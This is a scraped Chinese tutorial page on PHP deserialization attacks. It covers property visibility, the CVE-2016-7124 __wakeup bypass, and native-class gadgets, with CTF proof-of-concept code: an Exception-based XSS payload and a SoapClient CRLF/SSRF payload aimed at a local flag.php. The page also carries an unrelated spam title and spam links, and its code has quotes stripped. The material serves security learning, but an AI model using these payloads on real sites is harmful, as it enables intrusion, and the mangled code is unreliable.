当前位置: 首页 > news >正文

网站推广效果的评价指标有WordPress页脚小工具关闭

网站推广效果的评价指标有,WordPress页脚小工具关闭,网站建设是永久使用吗,优化大师官方正版下载知识点#xff1a; 1、PHP-反序列化-属性类型显示特征 2、PHP-反序列化-CVE绕过字符串逃逸 3、PHP-反序列化-原生类生成利用配合 补充#xff1a;如果在 PHP 类中没有实现某个魔术方法#xff0c;那么该魔术方法在相应的情况下不会被自动触发。PHP 的魔… 知识点 1、PHP-反序列化-属性类型显示特征 2、PHP-反序列化-CVE绕过字符串逃逸 3、PHP-反序列化-原生类生成利用配合 补充如果在 PHP 类中没有实现某个魔术方法那么该魔术方法在相应的情况下不会被自动触发。PHP 的魔术方法需要在类中显式地定义和实现否则默认情况下不会被调用。当 PHP 在特定情况下需要调用某个魔术方法时比如创建对象、访问属性、调用方法等它会检查类是否实现了相应的魔术方法。如果类中没有定义该魔术方法PHP 将不会触发该方法的自动调用。 PHP-属性类型-共有私有保护 1、对象变量属性 public(公共的):在本类内部、外部类、子类都可以访问 protect(受保护的):只有本类或子类或父类中可以访问 private(私人的):只有本类内部可以使用 2、序列化数据显示 public属性序列化的时候格式是正常成员名 private属性序列化的时候格式是%00类名%00成员名 protect属性序列化的时候格式是%00*%00成员名 本地演示序列化数据显示 demo.php ?php header(Content-type: text/html; charsetutf-8); //public private protected说明 class test{public $namexiaodi;private $age29;protected $sexman; } $anew test(); $aserialize($a); print_r($a); var_dump(unserialize($a));protect 修饰的属性 父类自己访问受保护属性类内设置接口类外创建对象访问接口从而访问属性 class ParentClass {protected $protectedProperty Protected Property;public function getProtectedProperty() {return $this-protectedProperty;} }$parentObj new ParentClass(); echo $parentObj-getProtectedProperty(); // 输出: Protected Property子类访问父类的受保护属性子类内设置接口类外子类创建对象访问接口从而访问属性 class ParentClass {protected $protectedProperty Protected Property; }class ChildClass extends ParentClass {public function getProtectedPropertyFromParent() {return $this-protectedProperty;} }$childObj new ChildClass(); echo $childObj-getProtectedPropertyFromParent(); // 输出: Protected Property类外访问父类的受保护属性 class ParentClass {protected $protectedProperty Protected Property; }$parentObj new ParentClass(); // 尝试直接访问父类的受保护属性 echo $parentObj-protectedProperty; // 报错: Fatal error: Uncaught Error: Cannot access protected property类内访问就是在类内的方法访问类外访问就是创建对象调用属性的方式 private 修饰的属性 父类访问自己的私有属性类内设置接口类外创建对象访问接口从而访问属性 class ParentClass {private $privateProperty Private Property;public function getPrivateProperty() {return $this-privateProperty;} }$parentObj new ParentClass(); echo $parentObj-getPrivateProperty(); // 输出: Private Property子类无法直接访问父类的私有属性子类内设置接口类外子类创建对象也不能访问接口从而访问属性 class ParentClass {private $privateProperty Private Property; }class ChildClass extends ParentClass {public function getPrivatePropertyFromParent() {// 尝试访问父类的私有属性return $this-privateProperty; // 报错: Fatal error: Uncaught Error: Cannot access private property} }$childObj new ChildClass(); echo $childObj-getPrivatePropertyFromParent();类外无法直接访问父类的私有属性 class ParentClass {private $privateProperty Private Property; }$parentObj new ParentClass(); // 尝试直接访问父类的私有属性 echo $parentObj-privateProperty; // 报错: Fatal error: Uncaught Error: Cannot access private propertyprotect 修饰的方法 父类自己访问受保护方法类内设置接口类外创建对象访问接口从而访问方法 class ParentClass {protected function protectedMethod() {return Protected Method;}public function callProtectedMethod() {return $this-protectedMethod();} }$parentObj new ParentClass(); echo $parentObj-callProtectedMethod(); // 输出: Protected Method子类访问父类的受保护方法子类内设置接口类外子类创建对象访问接口从而访问方法 class ParentClass {protected function protectedMethod() {return Protected Method;} }class ChildClass extends ParentClass {public function callProtectedMethodFromParent() {return $this-protectedMethod();} }$childObj new ChildClass(); echo $childObj-callProtectedMethodFromParent(); // 输出: Protected Method类外无法直接访问父类的受保护方法 class ParentClass {protected function protectedMethod() {return Protected Method;} }$parentObj new ParentClass(); // 尝试直接调用父类的受保护方法 echo $parentObj-protectedMethod(); // 报错: Fatal error: Uncaught Error: Call to protected methodprivate 修饰的方法 父类访问自己的私有方法类内设置接口类外创建对象访问接口调用方法 class ParentClass {private function privateMethod() {return Private Method;}public function callPrivateMethod() {return $this-privateMethod();} }$parentObj new ParentClass(); echo $parentObj-callPrivateMethod(); // 输出: Private Method子类无法直接访问父类的私有方法 class ParentClass {private function privateMethod() {return Private Method;} }class ChildClass extends ParentClass {public function callPrivateMethodFromParent() {// 尝试访问父类的私有方法return $this-privateMethod(); // 报错: Fatal error: Uncaught Error: Call to private method} }$childObj new ChildClass(); echo $childObj-callPrivateMethodFromParent();类外无法直接访问父类的私有方法 class ParentClass {private function privateMethod() {return Private Method;} }$parentObj new ParentClass(); // 尝试直接调用父类的私有方法 echo $parentObj-privateMethod(); // 报错: Fatal error: Uncaught Error: Call to private method总结 概念约定 什么是类内访问通过类内的方法访问属性/方法。什么是类外访问类外创建对象直接访问属性/方法 protect 访问权限只有子类父类自己可以类内访问到类外不行 protect 修饰的属性类内设置访问属性的接口(public)类外的子类本类创建对象调用接口从而访问属性protect 修饰的方法类内设置访问属性的接口(public)类外的子类本类创建对象调用接口从而调用方法 private 访问权限只有父类自己可以类内访问类外不行 private 修饰的属性类内设置接口只有本类自己可以通过创建对象访问类内接口从而访问私有属性private 修饰的方法类内设置接口只有本类自己可以通过创建对象访问类内接口从而访问类内私有方法 PHP-绕过漏洞-CVE字符串逃逸 CVE-2016-7124__wakeupunserialize()时会被自动调用 漏洞编号CVE-2016-7124 影响版本PHP 55.6.25; PHP 77.0.10 漏洞危害如存在__wakeup方法调用unserilize()方法前则先调用__wakeup方法但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行 CVE-2016-7124-本地Demo __wakeup()会在反序列化后调用 代码如下 ?php//__wakeup反序列化恢复对象之前调用该方法 //CVE-2016-7124 __wakeup绕过 class Test{public $sex;public $name;public $age;public function __construct($name, $age, $sex){echo __construct被调用!br;}public function __wakeup(){echo __wakeup()被调用br;}public function __destruct(){echo __destruct()被调用br;}} $t new Test(xiaodi,31,gay); echo serialize($t),br; unserialize($_GET[x]); ?__constructTest类创建对象调用__wakeup反序列化数据调用__destruct销毁对象__destruct销毁对象 绕过__wakeup()修改属性数量即可 说明 反序列化没用调用__construct()属性数错误就会绕过__wakeup()调用只有一个__destruct()函数说明没有对象创建成功 再做个实验PHP属性变为私有生成序列化数据在用共有属性的类反序列化它 ?php//__wakeup反序列化恢复对象之前调用该方法 //CVE-2016-7124 __wakeup绕过 class Test{public $sex;public $name;public $age;public function __construct($name, $age, $sex){echo __construct被调用!br;}public function __wakeup(){echo __wakeup()被调用br;}public function __destruct(){echo __destruct()被调用br;}}$s unserialize($_GET[x]); echo $s; ?类私有属性O:4:Test:3:{s:9:Testsex;N;s:10:Testname;N;s:9:Testage;N;} 类共有属性O:4:Test:3:{s:3:sex;N;s:4:name;N;s:3:age;N;} 用私有属性数据反序列化共有属性类 用共有属性数据反序列化私有属性类权限可以由大到小 [极客大挑战 2019]PHP 下载源码分析 反序列化触发调用__wakeup 强制username值 利用语言漏洞绕过 CVE-2016-7124修改满足漏洞条件触发 POP ?phpclass Name {private $username admin;private $password 100; }$n serialize(new name()); echo $n,\n; echo urlencode($n);? 字符串逃逸 字符变多-str1.php str1-pop.php 字符变少-str2.php str2-pop.php PHP-原生类Tips-获取利用配合 参考案例https://www.anquanke.com/post/id/264823 原生类Native class是指在编程语言的核心库或标准库中提供的类这些类是语言本身提供的而不是由用户自定义的类。原生类通常包含语言内置的功能和特性用于解决常见的编程任务和操作。 PHP原生类使用场景在代码中没有看到魔术方法的情况下使用的 生成原生类脚本代码 ?php $classes get_declared_classes(); foreach ($classes as $class) {$methods get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array(__destruct,__toString,__wakeup,__call,__callStatic,__get,__set,__isset,__unset,__invoke,__set_state))) {print $class . :: . $method . \n;}} } 注如果对方环境没有开启相关模块功能那么是没用的。 本地Demo-XSS 测试代码 ?php highlight_file(__file__); $a unserialize($_GET[k]); echo $a; ?思路 1.先看能触发的魔术方法-echo能够触发__toString方法 2.代码中没写魔术方法调用逻辑那就需要用到原生类 3.使用魔术方法的原生类去利用 4.获取魔术方法的原生类(使用脚本去生成生成多少与当前环境模块开关有关 默认的原生类生成脚本有太多原生类和方法了这里只保留__toString方法生成其有的原生类) 无代码通过原生类ExceptionException使用查询编写利用 通过访问触发输出产生XSS漏洞POP链 ?php $anew Exception(scriptalert(xiaodi)/script); echo urlencode(serialize($a)); ?CTFSHOW-Web259 在首页及flag.php都没看到有魔术方法 调用不存在的方法触发__call(因为getflag方法是不存在的所以调用该魔术方法) 无代码通过原生类SoapClient(只生成_call方法的原生类) SoapClient使用查询编写利用 构造pop链 ?php$uaaaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form- urlencoded\r\nContent-Length:13\r\n\r\ntokenctfshow;$clientnew SoapClient(null,array(urihttp://127.0.0.1/,locationhttp://127.0.0.1/flag.php,user_agent$ua));echo urlencode(serialize($client)); ?通过访问本地Flag.php获取Flag
http://www.zqtcl.cn/news/254344/

相关文章:

  • 网站常用图标素材办公用品十大购物网站排名
  • 网络门户网站站长要维护网站
  • 网上有做衣服的网站有哪些做网站推广怎样才能省钱
  • 网站专题设计欣赏找网站公司做网站是怎样的流程
  • 网站上传后如何设置首页制作网络游戏
  • 外贸接单网站排名榜珠宝行网站建设方案
  • 酒店门户网站建设背景门户网站的发布特点
  • 网站营销与推广汕头澄海
  • php和asp做网站哪个好阿里云wordpress配置
  • 东莞响应式网站建设网络营销策略和营销策略的区别
  • 番禺做网站哪家强合肥网页网站制作
  • 100个免费推广网站阜阳网站建设价格低
  • 广西茶叶学会 网站建设给人做网站能赚钱吗
  • 网站建设的发展目标西湖区住房和城乡建设局网站
  • 佛山市手机网站建设网页制作教程第三版赵丰年pdf
  • 做的好的装修公司网站网页制作搜题软件
  • 网站公告栏代码铁路建设标准网站
  • 网站设计工具更好的做网站禅城技术支持骏域网站建设
  • 百度商桥可以在两个网站放网站qq 微信分享怎么做的
  • 大学生网站建设开题报告秀山网站建设
  • 网站建设的实施方案网站建设基本标准
  • 做一个推广网站多少钱360导航网址
  • 在线网站建设哪家便宜wordpress 爬取
  • 移动端网站设计规范百度一下首页问问
  • 哪些网站怎么进广西玉林网站建设
  • 高端建站设计赶集网免费发布信息
  • 两题一做的网站响应式网站开发asp
  • 做网站直接开二级域名网站怎么收录到百度
  • 手机论坛网站源码西安网站建设-中国互联
  • 郑州网站建设策划方案丹阳建站推广管理